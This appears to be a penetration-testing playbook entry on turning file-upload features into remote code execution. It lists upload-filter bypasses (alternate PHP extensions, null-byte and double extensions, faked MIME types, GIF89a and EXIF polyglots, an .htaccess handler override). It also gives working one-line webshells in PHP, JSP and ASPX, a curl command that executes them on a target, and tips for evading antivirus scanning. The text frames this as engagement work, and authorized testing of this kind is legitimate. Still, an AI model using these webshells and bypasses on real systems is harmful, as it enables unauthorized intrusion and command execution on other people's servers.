File Upload → RCE

When this fires

Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.

Detect

1. Upload a benign file, find WHERE it lands (response URL, predictable /uploads/<name>, guess via ffuf).
2. Probe the filter: try .php, .phtml, .php5, .phar, .jsp, .aspx — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).

Decide — which bypass

• Extension blocklist → .phtml/.php5/.phar/.pht; double shell.php.jpg; trailing shell.php%00.jpg (old); case shell.PHP; .php. (Apache).
• MIME check only → keep .php, set Content-Type: image/png.
• Magic-byte/content check → prepend GIF89a; or valid image header, then PHP: GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg).
• Server config writable → upload .htaccess (AddType application/x-httpd-php .jpg) then a .jpg webshell.
• SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (../../) to write outside the upload dir.

Exploit → PROVE IMPACT

# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml     # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %>   ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id'             # execute → prove

Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.

Tooling

ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.

False positives / pitfalls

• Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
• Antivirus/content scan strips shells → try polyglot + less-common handler extension.
• Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.